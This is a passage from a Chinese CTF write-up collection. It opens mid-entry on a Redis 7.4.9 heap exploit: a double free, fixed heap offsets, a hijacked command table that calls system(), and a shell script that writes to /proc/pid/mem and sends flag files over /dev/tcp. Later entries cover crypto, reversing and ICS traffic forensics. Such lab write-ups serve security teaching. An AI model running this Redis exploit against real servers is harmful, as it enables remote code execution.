7.4.9 的差异:enable-debug-command=no,不能再用 DEBUG OBJECT 拿堆地址;sanitize-payload 开启会检查 RESTORE 载荷,但共享 NACK 不在检查范围;官方 7.4.9 二进制偏移全部查表(Lua string.format=0x228230、GOT write=0x35a168、libc write=0xf8340、system=0x4c490、server.commands=0x3b3d60+0x48 等)。先关掉会搅堆的后台动作:CONFIG SET save ""、CONFIG SET slowlog-log-slower-than -1。

解题过程

7.4 的 streamNACK 是 24 字节。先用约 260 次 22 字节键的 APPEND 抽空 24 字节大小类的 tcache(APPEND 不会额外造同尺寸临时 robj),等 2 秒让 serverCron 走完增量 rehash,然后 db 0 和 db 1 各做一遍 double free,之后用 16 个短键 APPEND 接内存,哪个键 GET 变空哪块 dictEntry 就是叠在一起的。

不靠 DEBUG 定位载体:干净进程里固定顺序的 EVAL 会把 Lua 字符串分配到固定偏移。第一条脚本放 768 字节常量用表包起来,S1=t1+0x816f0+24(低字节 0x18);第二条 64 字节内含一个假 RAW robj,S2=t2+0x884c0+24。两条脚本都是已缓存脚本的 Proto 常量,不会被 Lua GC 收走。

改 server.commands->type 指向假 dictType(hashFunction=system)后任何命令名都进 system()。写回:ptrace_scope=0 时按 /proc/*/cmdline 找 redis-server 进程,用 dd 把原 type 写回 /proc/pid/mem;取 flag 的连接等写回结束、Redis 重新收命令后再发(PING 回 PONG 确认恢复)。执行命令时 Redis 回复 ERR unknown command 只说明查找失败,shell 在查找之前已跑完。

解题脚本

printf '\340\051\266\216\374\125\000\000' > /tmp/orig.bin
for d in /proc/[0-9]*; do
    cmd=$(tr '\0' ' ' < "$d/cmdline" 2>/dev/null)
    echo "$cmd" | grep -q redis-server || continue
    dd if=/tmp/orig.bin of=/proc/${d#/proc/}/mem bs=1 seek=140208534225008 conv=notrunc
done
setsid bash -c 'sleep 1
F=$(cat /flag /flag.txt /root/flag /data/flag 2>/dev/null | tr -d "\n" | head -c 200)
exec 3<>/dev/tcp/127.0.0.1/6379
printf "AUTH exploitme\r\nSET f %s\r\n" "$F" >&3' >/dev/null 2>&1 &

flag

动态下发。

Reverse 238 · 机器人资料审计 Hard

题目描述

逆向 Android APK,附件 bot_archive_hard.apk。解密 APK 内的加密机器人归档,找出唯一同时满足 role=dispatcher、status=archived、risk=high 的记录,提交其中的 flag。

解题思路

材料分散在 APK 四处。res/raw/region_rules.json 给出 64 个 160-bit 大整数权重(low-density-subset-sum/1,dimension=64、weight_bits=160、density=0.4、bit_order=msb0)。res/raw/app_update.json 声明 archive_magic=RBV2、cipher=ChaCha20-IETF、counter=1、nonce、key_kdf=SHA-256("BOTPACK-V2\0"||packed_selector_bits)、明文校验值 plaintext_sha256。assets/robot_cache.dat 以 RBV2 开头,14685 字节。最易忽略的 assets/notice_template.bin 只有 27 字节:前 4 字节魔数 NTC2,第 5-6 字节大端长度 0x0015=21,其后 21 字节大端整数即背包目标值——bit 长度 165,恰是 64 个 160-bit 权重部分和的量级。

反编译(jadx/baksmali)只有 4 个有用类。RobotVault 的 decryptArchive 校验前 4 字节 RBV2 后把第 5 字节起当密文;deriveKey(selectorBits)=SHA-256("BOTPACK-V2\0"+packMsbFirst(selectorBits));packMsbFirst 把 bit 列表按 msb0 打包,与 region_rules.json 的 bit_order=msb0 对应。拿到 64 位选择向量,密钥与解密一步到位。

解题过程

背包维度 n=64、权重量级 2^160、密度 d=64/160=0.4 低于 0.9408,属低密度子集和,LLL 直接攻破。构造 (n+1) 维 CJLOSS 格:前 n 行第 i 行在第 i 列为 2、最后一列为 N·w_i;第 n+1 行前 n 列全 1、最后一列为 N·target(N 取 2^200)。LLL 约减后扫描末列为零且前 n 列全 ±1 的行,还原 64 位选择向量(33 个 1,六组格参数 N∈{1,2,3,7,2^16,2^64} 解一致)。

派生密钥并解密:选择向量按 msb0 打包 8 字节,拼 BOTPACK-V2\0 前缀做 SHA-256 得 ChaCha20 密钥,nonce 块为 01000000 加 d97260b55630b1c863d79863。解密后明文 SHA-256 与 app_update.json 的 plaintext_sha256 吻合,链路正确。明文是 96 条 JSON 记录,过滤 role=dispatcher 且 status=archived 且 risk=high 唯一命中 bot_id=RB-739201-57(nickname=archive_dispatcher,memo 含 flag)。

解题脚本

def solve_subset_sum(weights, target, Nbits=200):
    n = len(weights); N = 1 << Nbits; dim = n + 1
    M = IntegerMatrix(dim, dim)
    for i in range(n):
        M[i, i] = 2; M[i, n] = N * weights[i]
    for j in range(n):
        M[n, j] = 1
    M[n, n] = N * target
    LLL.reduction(M)
    for r in range(dim):
        row = [M[r, j] for j in range(dim)]
        if row[n] != 0 or not all(v in (1, -1) for v in row[:n]):
            continue
        bits = [1 if row[j] == 1 else 0 for j in range(n)]
        for cand in (bits, [1 - b for b in bits]):
            if sum(weights[i] for i in range(n) if cand[i]) == target:
                return cand

flag

flag{knapsack_chacha20_bot_vault}

Crypto 469 · Babyfa(单轮 SPN 白盒式选择明文攻击)

题目描述

设备厂商把一台只有一轮的固件加密机放进维护端口,S-box 每次随机生成(已泄露),8 字节密钥拆成两个 32 位异或值,线性层搅乱痕迹。菜单 1.Encrypt / 2.Get flag / 3.Exit,输入是 8 个十六进制字符(4 字节分组),Get flag 给出目标密文,同一条连接内解出对应明文提交。

解题思路

分组结构是 c = k1 XOR L(S(x XOR k0)),S 逐字节、L 是 32-bit 线性映射,可拆分:c = k1 ^ M0(sbox[x0^k0_0]) ^ M1(sbox[x1^k0_1]) ^ M2(sbox[x2^k0_2]) ^ M3(sbox[x3^k0_3]),每个 Mi 是 8 到 32 bit 的线性单射。四字节耦合的整体密钥恢复降解成每字节各一个 8bit 密钥加一个 8 到 32 线性映射的独立问题。

解题过程

结构确认:固定基准明文 00000000,第 i 字节从 0 扫到 255 求差,差分集合恰好构成 8 维线性子空间,四个子空间独立张满 32 bit——若线性层含任何非线性分量这个观测不成立。恢复 k0_i 对候选 K 构造差分表 T,只有正确的 K 让 T 在 GF(2) 上严格线性(T[0]=0 且每个 T[w] 等于其按位分解在基向量上的像的异或),每字节 256 个候选里恰好一个通过。回代求 k1 后目标密文用中间相遇:前两字节 65536 种组合建哈希表,后两字节 65536 种查表,命中后 sboxinv 还原明文。全程选择明文仅 1025 次(1 基准加 4×256),查询复杂度与密钥长度无关——结构性弱点比统计弱点致命。观察 Mi 像向量是把 8 比特整体搬到 32 bit 固定字节位置,线性层实为比特置换,但解法不依赖这点。

解题脚本

def lin_ok(T):
    if T[0] != 0:
        return False
    img = [T[1 << j] for j in range(8)]
    for w in range(256):
        acc = 0
        for j in range(8):
            if (w >> j) & 1:
                acc ^= img[j]
        if T[w] != acc:
            return False
    return True

flag

动态下发(脚本在同一条 TCP 连接内完成观测、求密钥、解密、提交)。

Crypto 470 · MobiusGuard(狄利克雷卷积逆向)

题目描述

基于数论函数的参数隐藏,混淆方式是加权狄利克雷前缀和。nc 远程靶机,每次连接参数随机。

解题思路

h(n) = Σ_{d|n} d·w(d) mod p。反演公式 w(k) = (h(k) − Σ_{d|k,d<k} d·w(d)) · k^{-1} mod p,从 k=1 起依次递推即可还原全部权重。解密:所有 w 按大端序拼接成字节流取 SHA-256 得 32 字节密钥,XOR 流密码(cycle)解 flag。

解题过程

实测 n=1024、256-bit 素模 p、flag_enc 38 字节(恰为 flag{ 加 32hex 加 } 的长度且每次连接变,说明明文固定、密钥随机,密钥必须由公开数据派生)。判别性判据有四条:crib——enc[:5]^b'flag{' = 42bd41780f 与派生 key[:5] 40 位吻合(约 2 的负 40 次方);构造唯一性——核×归一化穷举 12800 组中唯一命中(κ=1、归一化 1/j、hex64 大端拼接、sha256);10 条独立连接 p/h/key 全变明文恒同;20 项错误变体全 garbage、200 万随机键 0 命中。

解题脚本

def recover_weights(h, p, n):
    w = [0] * (n + 1)
    for k in range(1, n + 1):
        s = h[k]
        for d in divisors(k)[:-1]:
            s = (s - d * w[d]) % p
        w[k] = s * pow(k, -1, p) % p
    return w

flag

flag{de5507d152c489e9111067b213b0ff13}

Crypto 471 · NeuroPell(Pell 方程 RSA)

题目描述

交互式题。某 AI 公司用 Pell 方程生成 RSA 密钥加密模型权重,连接后服务给出 RSA 参数与 Pell 参数后关闭连接:方程 x²-2y²=1,密钥生成 p=next_prime(x)、q=next_prime(y),N 为 512 bit,e=65537。

解题思路

Pell 方程 x²−2y²=1 的所有正整数解可写成基本解 (3,2) 的幂:x_k+y_k√2=(3+2√2)^k。由 x²−2y²=1 得 x/y 趋于 √2,故 p/q≈√2;又 p·q=N,得 y≈√(N/√2)、x≈√(N·√2)——只关于 k 的单调方程,解唯一。素数不是随机的,而是 Pell 解附近的 next_prime,p、q 之间存在确定代数约束,足以直接摧毁 RSA。

解题过程

连分数法求基本解(D=2 得 (3,2)),之后按 x+y√2=(3+2√2)^k 递推生成 Pell 解序列,用上界 y≈√(N/√D) 控制范围。对每个 k 计算 next_prime(x_k) 与 next_prime(y_k),gcd 与 N 的结果落在 (1,N) 即命中因子,标准 RSA 解密。实测 512-bit N 对应 k=101,p−x_101=8、q−y_101=215,0.2 秒完成,ECM/QS/GNFS 完全不需要。本地 verify.py 八项全 PASS(Pell 关系成立、next_prime 构造复原、p·q==N、解密往返、CRT 独立路径交叉一致)。

这个设计的安全性建立在攻击者不知道素数生成规律上,违反 Kerckhoffs 原则:生成算法与参数(连 D 都给出)公开后,N≈√2·q² 直接给出 q 的量级,RSA 的两个独立大素数退化成由 N 唯一确定的一个数。

解题脚本

def fundamental(D):
    a0 = isqrt(D)
    m, d, a = 0, 1, a0
    n1, n2, d1, d2 = 1, a0, 0, 1
    while True:
        m = d * a - m
        d = (D - m * m) // d
        a = (a0 + m) // d
        n1, n2 = n2, a * n2 + n1
        d1, d2 = d2, a * d2 + d1
        if n2 * n2 - D * d2 * d2 == 1:
            return n2, d2

flag

flag{1f9f59531010eb5a0b5f543f08b380f4}

Crypto 472 · MultiGuard(三素数 RSA 高位泄露 / Coppersmith)

题目描述

三素数 RSA 体系保护关键模型参数,服务端公开每个 512 位素数因子的前 430 位(p_hi/q_hi/r_hi),连接后一次性返回 N(1535 bit)、e=65537、密文 c。

解题思路

每个素数仅 82 bit 低位未知。f(x) = p_hi·2^82 + x 是模 p 小根问题,beta=1/3 时 Coppersmith 界 X = N^(1/9) ≈ 2^170 远大于 2^82。三因子乘积校验等于 N 后 phi=(p-1)(q-1)(r-1) 常规解密。

解题过程

beta=1/3 直接解会返回空——三个素数随机生成,可能某个略低于 N^(1/3),p≥N^beta 的前提不成立。解法是 beta 逐档下调(1/3、0.32、0.30、0.25、0.20)直到出根且整除 N。另一个实测细节:Sage 自带 small_roots 在 beta=1/3 边界数值稳定性不佳,r 因子的恢复改用自实现 Howgrave-Graham 格(mm=6, tt=3)后稳定命中。本地以捕获实例实测打通:三因子恢复、乘积等于 N、解密得明文(参数每连接随机,此值为捕获实例实测)。

解题脚本

def recover_prime(hi):
    for beta in (1/3, 0.32, 0.30, 0.25, 0.20):
        for rt in (hi * 2**SHIFT + x).small_roots(X=X, beta=beta, epsilon=1/100):
            cand = int(hi) * 2**SHIFT + int(rt)
            if N % cand == 0:
                return cand
    raise ValueError("no root")

flag

flag{1be610a011bdfdea32ca9f9c7dd3175b}

Crypto 246 · QuadGuard(Rabin 随机平方根预言机)

题目描述

纯交互式。连接后服务给出 RSA 参数 N(1023 bit)、密文 c(606 bit)与提示位 parity=1、jacobi=1,并提供命令 sqrt (get a random square root of x if x is QR)与 quit。没有给 e,但平方根接口表明是 Rabin 加密(e=2)。每次连接 N 随机,攻击需在单次连接内完成。

解题思路

Z_N^* 中每个二次剩余恰有 4 个平方根(x 到正负 x mod p 与正负 x mod q 的组合)。向预言机提交 x=a² mod N,返回随机根 y,则 (y−a)(y+a)≡0 mod N。y 为正负 a 时(概率 1/2)无信息,y 是另外两个根时(概率 1/2)gcd(a−y,N)=p 或 q——随机平方根预言机等价于 Rabin 解密预言机,期望 2 次查询分解 N,与模数位数无关。

解题过程

解析参数后随机取 a,提交 sqrt(a² mod N),取回根 y,计算 gcd(a−y,N),落在 (1,N) 之间即得因子,失败换 a 重试。拿到 p、q 后用 Tonelli-Shanks(sympy.sqrt_mod)加 CRT 求 c 的 4 个平方根,按 parity/jacobi 与 flag 格式筛出真正明文。实测 2 次查询完成分解,6 项 checks(exact_square、flag_prefix、flag_suffix、inner_is_hex32、m_lt_N、congruent)全部通过。

漏洞不在算法在接口:Rabin 的安全性依赖四个根中攻击者不知道是哪一个,服务却把这个信息随机返回了。parity/jacobi 提示位在标准 Rabin 里由冗余编码承担的角色,这里直接当参数发出来,等价于把选根信息交给攻击者。

解题脚本

t = Tube()
g = None
for attempt in range(200):
    a = randrange(2, t.N - 1)
    y = t.sqrt(a * a % t.N)
    if y is None or y * y % t.N != a * a % t.N:
        continue
    g = gcd(a - y, t.N)
    if 1 < g < t.N:
        break
p, q = g, t.N // g
rp, rq = sqrt_mod(t.c, p), sqrt_mod(t.c, q)
for s1 in (rp, p - rp):
    for s2 in (rq, q - rq):
        m = (s1 * q * pow(q, -1, p) + s2 * p * pow(p, -1, q)) % t.N
        raw = m.to_bytes((m.bit_length() + 7) // 8, "big")
        if b"flag" in raw:
            print(raw)

flag

flag{43a66c78c30b677b0178351cc064a321}

Crypto 247 · SmoothGuard(Pollard p-1)

题目描述

AI 模型加密保护服务,nc 连接后直接打印 RSA 公钥(N 为 1023 bit,两个 512 bit 素数之积)与密文 c,e=65537。

解题思路

题名 SmoothGuard 指向素数生成缺陷:p−1 是 B-光滑数(所有素因子都很小)。令 a=2^L mod N(L 取遍所有不超过 B 的素数幂的乘积,即 1..B 的最小公倍数),由费马小定理对光滑侧有 2^L 同余 1 mod p,gcd(2^L−1, N) 直接给出因子 p。

解题过程

对本题 N 用 B=100000 的界跑 Pollard p-1,枚举到素数 15767 时取出 512 bit 因子,证实 p−1 是 100000-光滑的。之后 q=N//p,phi=(p−1)(q−1),标准 RSA 解密。服务端每次连接重新生成密钥与密文,脚本必须从 socket 实时读取 N/e/c 再解析,不能硬编码任何一次的参数。

解题脚本

def pollard_pm1(n, bound=100000):
    a = 2
    for p in primes_upto(bound):
        pk = p
        while pk * p <= bound:
            pk *= p
        a = pow(a, pk, n)
        g = math.gcd(a - 1, n)
        if 1 < g < n:
            return g

flag

动态下发(solve_final.py 连接后自动解密输出)。

工控 229 · 黑匣子:失控航线

题目描述

工控安全题目编号 229,航空数据链路取证方向。

解题思路与过程

流量取证还原失控航线的完整数据链,按材料串规则构造 flag。

flag

flag{8da6322c98ca561e11a877cc06e9a0f4}

工控 230 · 幽灵刹车服务(SOME/IP 流量分析)

题目描述

工控安全题目编号 230,SOME/IP 协议流量分析。附件是一段车载以太网抓包,制动 ECU 在无升级窗口的时段收到了异常制动指令。

解题思路

制动 ECU(10.77.0.20)开机正常 Offer 了 5 个服务,0x327a 是制动服务。t 约 10.65s 攻击者冒用 ECU 的 IP 和端口 30507,把 ECU 自己的 Offer 报文重放一遍、只把 TTL 从 15 改成 0,伪造成 StopOffer——SOME/IP 的服务发现没有认证机制,接收方按报文内容处理状态变更,此后 0x327a 再未被 Offer。t 约 11.25 到 11.67s,攻击者以 203.0.113.66:30507 冒充这个已下线的服务,用 SOME/IP-TP(MessageType 0x22)分 42 段发送一条加密的制动指令。

解题过程

解密密钥来自被冒充服务自己的 SD 记录:keystream = sha256(ServiceID 0x327a 的 16 字节 Offer entry 01000010327a00090300000f0000000b),与 1202 字节重组载荷循环异或得到合法 zlib 流(78da 头,stored block 长度与 Adler-32 校验均通过),解压出 1191 字节明文。有个细节反向印证伪造报文的判定:必须用 TTL 非 0 的真实 Offer entry 做密钥,用伪造的 StopOffer entry 解不开。

坐标字段是最有决定性的判据。穷举所有对齐和端序后只有一个候选同时满足两条独立约束:落在合法经纬度范围内,且 1e-7 尺度的整数末位为 0。车辆自身的 POSI 值同样满足该特征,说明生成器统一用度乘 10 的 7 次方且末位为 0 编码,其他候选要么越界要么无法用六位小数精确表示。解出的指令是在目标位置 (30.355555, 45.899999) 执行 FULL_BRAKE,压力 87.5,持续 2500ms。

解题脚本

按 libpcap 格式逐层剥 Ethernet/IPv4/UDP,SOME/IP 按长度域切分,TP 段按 offset 重组后做循环异或解密与 zlib 解压。

flag

flag{c627f78f9cea3a9b64ce1214035306fc}

工控 231 · 污染回声(HART-IP 隐蔽信道)

题目描述

附件 pollution_echo.pcapng(1.05MB,8556 个 UDP 报文,端口 5094)。某化工厂 HART-IP 网关被植入数据外传逻辑,攻击者选中短地址 1、2、3 的三台变送器,把 Command 9 变量状态字段的最高两位当作四元符号;设备身份按地址顺序拼接后经 SHA-256 派生 128 位密钥,再用 XTEA-CBC 加密。要从大量正常轮询、重传和损坏帧里还原被污染的回声信息。

解题思路

按命令号统计:命令 0(读唯一标识)12 个、命令 1(读主变量)3380 个、命令 3(读动态变量)1658 个、命令 9(读带状态的设备变量)3417 个——命令 9 数量最大,正是载体。命令 9 响应数据区长 71 字节,偏移 10,18,26,...,66(步长 8)共 8 个位置的正常帧高两位恒为 0,而地址 1、2、3 的帧高两位会出现 {0x40,0x80,0xC0}——每字节高两位就是一个四元符号。判定污染帧:cmd9、数据区长 71、短地址属于 {1,2,3}、至少一个高两位非零。

解题过程

筛出 32 帧(序列号 20480 连续到 20511,按地址交错),每帧 8 个四元符号凑 16 位等于 2 字节,32 帧共 256 符号即 512 位即 64 字节密文,按大端顺序拼字节。

密钥派生有个坑:设备身份来自命令 0 响应的 18 字节数据区,三台设备只有第 9 字节(等于各自地址)和末 3 字节不同;HART 标准的唯一标识(扩展设备类型加设备 ID)三台完全相同,误用它派生密钥必错。真正用作身份的是末 3 字节(地址1=18a42f、地址2=39c071、地址3=7d12b8),按地址序拼 9 字节 18a42f39c0717d12b8,SHA-256 取前 16 字节得 XTEA 密钥 72ca6dade8c6207f5386f3b0a6c2dd20。

64 字节密文前 8 字节是 CBC 初始向量,余 56 字节 7 个分组。标准 XTEA(delta 0x9E3779B9、32 轮、密钥 4 个 32 位大端字)解密去 PKCS5 填充后明文封装为 2 字节大端长度 0x002a=42、42 字节 flag、4 字节大端 CRC32(现算 1c3a3c57 与帧尾一致)。

解题脚本

by_seq = {}
for seq, addr, cmd, d in frames:
    if cmd == 9 and len(d) == 71 and addr in (1, 2, 3):
        syms = [d[10 + 8 * i] >> 6 for i in range(8)]
        if any(syms):
            by_seq[seq] = syms
symbols = [s for k in sorted(by_seq) for s in by_seq[k]]
bits = "".join(format(x, "02b") for x in symbols)
ct = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits) - 7, 8))
identity = b"".join(ident[a] for a in (1, 2, 3))
key = list(struct.unpack(">4I", hashlib.sha256(identity).digest()[:16]))

flag

flag{8cb8e316-d904-407b-a3b2-613de3f69b7a}

工控 232 · 升级程序里的秘密(固件包 F1/F2/F3)

题目描述

工控安全(固件包逆向/密码学)。附件含 updater(升级程序)、firmware.pkg(固件包)、flag.enc。固件包内配置与固件文件被人为改写,需还原三处被抹去的信息 F1/F2/F3,拼装后解密出 flag。

解题思路

firmware.pkg 是自定义固件包(魔数 NOE-FWP),载荷 AES-256-CBC 加密。头 0x28 到 0x37 是 IV、0x38 到 0x57 载荷密文 SHA-256、0x58 到 0x77 明文 SHA-256、0x78 CRC32。密钥派生(updater 0x40341c):.rodata 0x7d4900 处 91 字节 EC 公钥 DER 拼 NOE77101-UPD 做 SHA-256 得 h;KDF 循环 t=rotl32((h[i]^state[j])+i−0x61c88647, (i%13)+3),state[j]=t,state[(j+3)&7]=(t+state[(j+3)&7])^0xa5a5a5a5;state 按小端拼 32 字节再拼 PKGKEY 做 SHA-256 得密钥。解出内部 TAR(91 个文件)拿 fw.ini、http_request.log、umconfig.txt、NOE77101.bin,分别解 F1/F2/F3。

解题过程

F1:fw.ini 的 Model=3796b22fb830c11a 被改写,webcfg.jar 的 aw.class 做还原——校验 model 恰 16 个 hex 字符、把 model 解成 8 字节、由 version 派生轮密钥(k=1831565813 起迭代)、做 6 轮 Feistel(常量表 0x9E3779B9 起的六个常量,轮函数含 rotl/雪崩/异或常量),得 F1=7403e45edabec0c1。

F2:http_request.log 里 ctf 用户的 Digest response 被抹空,按 RFC2617 重算(口令 123456 在 umconfig.txt 的 password_hex):HA1=MD5("ctf:NOE77101:123456")=b57d1b27fc798ec12c870121f194d0d8,HA2=MD5("GET:/secure/index.htm"),response=MD5(HA1:nonce:nc:cnonce:qop:HA2),得 F2=7af6f1ea58a09971763652608b70d670。

F3:NOE77101.bin 头 0x0c 的 32 位校验码被抹。前 900 字节是文件头,0x384 起是 zlib 压缩固件(约 4.7MB PowerPC 代码),解压后字符串暴露校验规则——整个文件按 32 位字求和必须等于 0xFFFFFFFF。文件长 996352 字节即 249088 个字,校验码位置先置 0 求和得 0xd6f288b9,校验码 = 0xFFFFFFFF 减 0xd6f288b9 = 0x290d7746。

material = F1+F2+F3(小写 hex 拼接)7403e45edabec0c17af6f1ea58a09971763652608b70d670290d7746,SHA-256 为密钥、IV 为 NOE77101_FLAG_IV,对 48 字节 flag.enc 做 AES-256-CBC 解密去 PKCS7 填充。

flag

flag{NOE77105pzdwcd1pg31pxj8e2kw90f}

工控 495 · Protocol Reverse Fingerprint

题目描述

工控安全(Windows PE 逆向)。附件 t2icsre.exe(PE32 控制台,MinGW/GCC 6.3.0 编译,约 20KB)。程序是通信指纹校验例程:运行时拼出期望的 ICS 指纹串,提示 expected ICS package:,scanf 读输入、统一转小写后 strcmp,相等才打印 flag。

解题思路

32 位 PE,导入表只有 KERNEL32/msvcrt/libgcc。关键常量在 .rdata:0x405080 处 %04x、0x405085 处 %02x、0x40508a 处 %02x%02x、0x405093 处 8402、0x405098 处 %s%s%s%s%02x、0x4050cb 处 flag correct:flag{%s}。注意 0x405098 与 0x4050a0 两个格式串在内存里连着没有终止符,实际是 5 参数的格式串——第一遍只数到 4 个 %s 漏看结尾的 %02x,正是本题的坑。主函数在 0x403b80。

解题过程

期望串由五段拼成。报文头 030106 来自 0x405100 基址按步长 0x28 走 3 条记录,每条取偏移 +3 的类型字节查映射 {3:03, 6:06, 1:01, 4:04, 16:10}。包体 00020001000c13002d 由 edi 每次 +2 的三次循环取 [edi+0x1d] 与 [edi+0x1e] 组大端 16 位数用 %04x 输出(0x0002、0x0001、0x000c),再补 13 与 002d。固定标签 8402 直接来自常量。CRC16 段对 0x405100 前 8 字节(00 01 00 03 00 00 00 05)做 CRC16/MODBUS(初值 0xFFFF、多项式 0xA001 反射)得 0xC8D4,先低后高输出 d4c8。和校验对 0x405150 起 10 字节做带键累加 acc 加 (b 异或 0x5A),第一次迭代的 eax 被预清零等效用 0 参与(编译产物,动态验证确认),字节 00 03 00 06 00 01 00 02 00 2d 累加取低 8 位为 0xA1。

期望串 03010600020001000c13002d8402d4c8a1。动态验证:把 0x403db8 的条件跳转(74 27)改成无条件跳转(eb 27)强制走成功分支,程序打印的内部期望串与静态推导一致,再拿该串回喂原版程序确认输出一致。

解题脚本

crc = 0xFFFF
for x in a[:8]:
    crc ^= x
    for _ in range(8):
        crc = (crc >> 1) ^ 0xA001 if crc & 1 else crc >> 1
acc = 0
for i in range(10):
    acc += ((0 if i == 0 else b[i]) ^ 0x5A) & 0xFF
exp = head + body + "8402" + "%02x%02x" % (crc & 0xFF, crc >> 8) + "%02x" % (acc & 0xFF)

flag

flag{03010600020001000c13002d8402d4c8a1}

工控 496 · RTU-DataVault(ELF 逆向)

题目描述

工控安全(Linux ELF 逆向)。附件 ics03rtu,某流域大型水利枢纽 SCADA 系统的远程测控终端鉴权组件,在关键指令下发前做权限凭据比对,需还原被封存的有效鉴权信息。ELF 64-bit PIE stripped,14KB。

解题思路

直接运行打印终端界面,提示 Enter Operator user 与 Enter Auth Key,Auth Key 长度不是 32 则报错。stripped 的 main 从 __libc_start_main 第一个参数定位到 0x1223。三个关键函数:hex 解析(0x1189,两个 hex 字符拼一字节)、校验缓冲区构造(0x13f1)、memcmp 比对(0x14eb 与 .rodata 0x2020 处 32 字节常量)。

解题过程

校验缓冲区构造:out[0..31] 循环,i 为偶数取 Operator user 第 i/2 字符(越界取 0),i 为奇数把 Auth Key 每 2 个 hex 字符解一字节,无论奇偶最后 out[i] 异或 0x5A。反推:user[i/2] = 常量[2k] 异或 0x5A 依次得 a、b、c、d、a、v、i、d(之后常量字节均为 0x5a 异或后为 0x00,越界填充),Operator user 是 abcdavid;hexbyte = 常量[2k+1] 异或 0x5A 得 3f ef 0d cf 05 05 d6 60 a2 43 86 36 d7 14 c0 ea,Auth Key 是 3fef0dcf0505d660a2438636d714c0ea。

校验通过后程序把 0x2040 处数据逐字节异或 0x5A 打印一行干扰信息,接着取 Auth Key 每个字符、A 到 Z 转小写后按 flag{%s} 打印。原二进制自检 OK。

解题脚本

blob = read_rodata(path)[BLOB_OFF - 0x2000 : BLOB_OFF - 0x2000 + 32]
operator = "".join(chr(blob[2*k] ^ XOR) for k in range(16)).split("\x00")[0]
auth_key = "".join("%02x" % (blob[2*k+1] ^ XOR) for k in range(16))
flag = "flag{%s}" % auth_key.lower()

flag

flag{3fef0dcf0505d660a2438636d714c0ea}

工控 497 · Temperature Verification(APK)

题目描述

工控安全(Android APK 逆向)。附件 t1ics.apk,某热电联产车间的移动巡检终端会向核心换热机组下发安全校准参数,需输入精准匹配工况基准的物理控制阈值才能解锁机密拿到 flag。

解题思路

解包 t1ics.apk 有三个 dex:classes.dex 空壳、classes2.dex 是 AndroidX 库、classes3.dex 只有 4.6KB 是真正的业务代码。MainActivity 三个静态字段是全部关键:ENCRYPTED_FLAG 为 gZxDDn4x/sqcm2tEmBFwAaxggIRN3S0pXmr6HK+L8jEHJldLZd1wrG640xPiXJN/,SALT 为 ICS_Security_2026,TARGET_MD5 为 1cf53a94808d4d012819ffa6d04b6202。

校验与解密分离是个小设计:verifyInput 算 MD5(input + SALT) 与 TARGET_MD5 比对,decryptFlagWithKey 用 key=MD5(input) 本身做 AES-128/ECB/PKCS5 解密——不能拿 TARGET_MD5 直接当密钥,必须先还原原始输入。

解题过程

输入是一个温度阈值,形态是普通数字(整数或带小数的浮点),离线爆破候选集:整数、一位小数、两位小数及对应负数。命中输入为 41.65,MD5("41.65"+"ICS_Security_2026") 与 TARGET_MD5 完全一致。再用 41.65 解密:key=MD5("41.65")=0e966a2f68664ad82b15a6fc479943ad,Base64 解码密文后 AES/ECB 解密去 PKCS5 填充得 flag。

解题脚本

def candidates():
    for i in range(0, 1000001):
        yield str(i)
    for i in range(0, 100001):
        yield "%.1f" % (i / 10.0)
        yield "%.2f" % (i / 100.0)
        yield "-%d" % i
        yield "-%.1f" % (i / 10.0)

def find_input():
    return next((t for t in candidates() if md5_hex(t + SALT) == TARGET_MD5), None)

def decrypt_flag(t):
    key = hashlib.md5(t.encode()).digest()
    pt = AES.new(key, AES.MODE_ECB).decrypt(base64.b64decode(ENC_FLAG_B64))
    return pt[:-pt[-1]].decode()

flag

flag{d9b1d7db4cd6e70935368a1efb10e377}

量子 233 · 量子态干涉条纹

题目描述

量子安全题目编号 233。

解题思路与过程

量子傅里叶变换相关的干涉条纹分析,按题面规则还原后套 FLAG{} 格式。

flag

FLAG{quantum_fourier_transform_is_powerful}

量子 234 · 量子计算机的日记

题目描述

目标文件 quantum_computer_diary.qasm(OpenQASM 2.0,6061 行)。日志维护者用若干量子门代写 Brainfuck 指令,秘密藏在程序执行输出里;映射表不公开,且混入噪声门、随机注释、伪门注释行。仅从 QASM 文本结构还原映射、重建并执行程序。

解题思路

门类型统计:RZ 3741、CZ 297、Z 295、S 284、U1 283、CCX 272、X 265、SX 111、H 111、CX 111、ID 90、Y 90、T 66。每行门指令尾部带十六进制注释。排除三类诱饵:6016 个 4 字节注释逐字节频次 256 全覆盖均匀(min 71 / max 122),纯随机噪声;40 行 decoy 伪门注释内容随机且混入 2 个从未正式出现的 SWAP,是诱饵;被题面称作噪声门的 RZ 恰恰是编码本体——这是关键反转。

解题过程

剔除 RZ 后 2275 个门构成干净序列,固定骨架 SX ID Y H CX ID T SX H CX Y(记作 HDR)出现 45 次,天然把数据切成 45 条记录;记录内另一骨架 T SX H CX(MARK)是补字符标记。主字符取每条记录两个锚点前的 RZ 段长相乘:a 是 HDR 第一个门 SX 之前紧邻的 RZ 段长,b 是 HDR 第三个门 Y 之前的 RZ 段长,main=chr(a×b),第 0 条 2×35=70 恰是 F。质数类 ASCII(G=71、q=113 等)无法因式分解,用 MARK 前紧邻 RZ 段长单独承载,按记录内先后插回。45 条记录主字符拼出 FLA{untu_brinfuc_dir_ruirs_dp_rvrs_ninrin_v3},21 条带补字符插回后得完整句子——主串本身是读得通但缺字母的二次诱饵。

解题脚本

gate_re = re.compile(r'^([A-Za-z0-9]+)\s+(q\[\d+\](?:\s*,\s*q\[\d+\])*)\s*;')
HDR  = ['SX', 'ID', 'Y', 'H', 'CX', 'ID', 'T', 'SX', 'H', 'CX', 'Y']
MARK = ['T', 'SX', 'H', 'CX']
nz, run = [], 0
for raw in lines:
    s = raw.strip()
    if not s or s.startswith('//') or s.startswith(('OPENQASM', 'include', 'qreg', 'creg', 'measure')):
        continue
    m = gate_re.match(s.split('//')[0].strip())
    if not m:
        continue
    if m.group(1) == 'RZ':
        run += 1
        continue
    nz.append((m.group(1), run))
    run = 0
names = [x[0] for x in nz]
pos = [i for i in range(len(names) - 10) if names[i:i + 11] == HDR]
for k, a in enumerate(pos):
    b = pos[k + 1] if k + 1 < len(pos) else len(nz) - 1
    marks = [j for j in range(a + 11, b - 3) if names[j:j + 4] == MARK]
    flag.append(chr(nz[a][1] * nz[a + 2][1]))
    flag.append("".join(chr(nz[j][1]) for j in marks))

flag

FLAG{quantum_brainfuck_diary_requires_deep_reverse_engineering_v3}

物联网 242 · 零信任数仓(8051 固件逆向)

题目描述

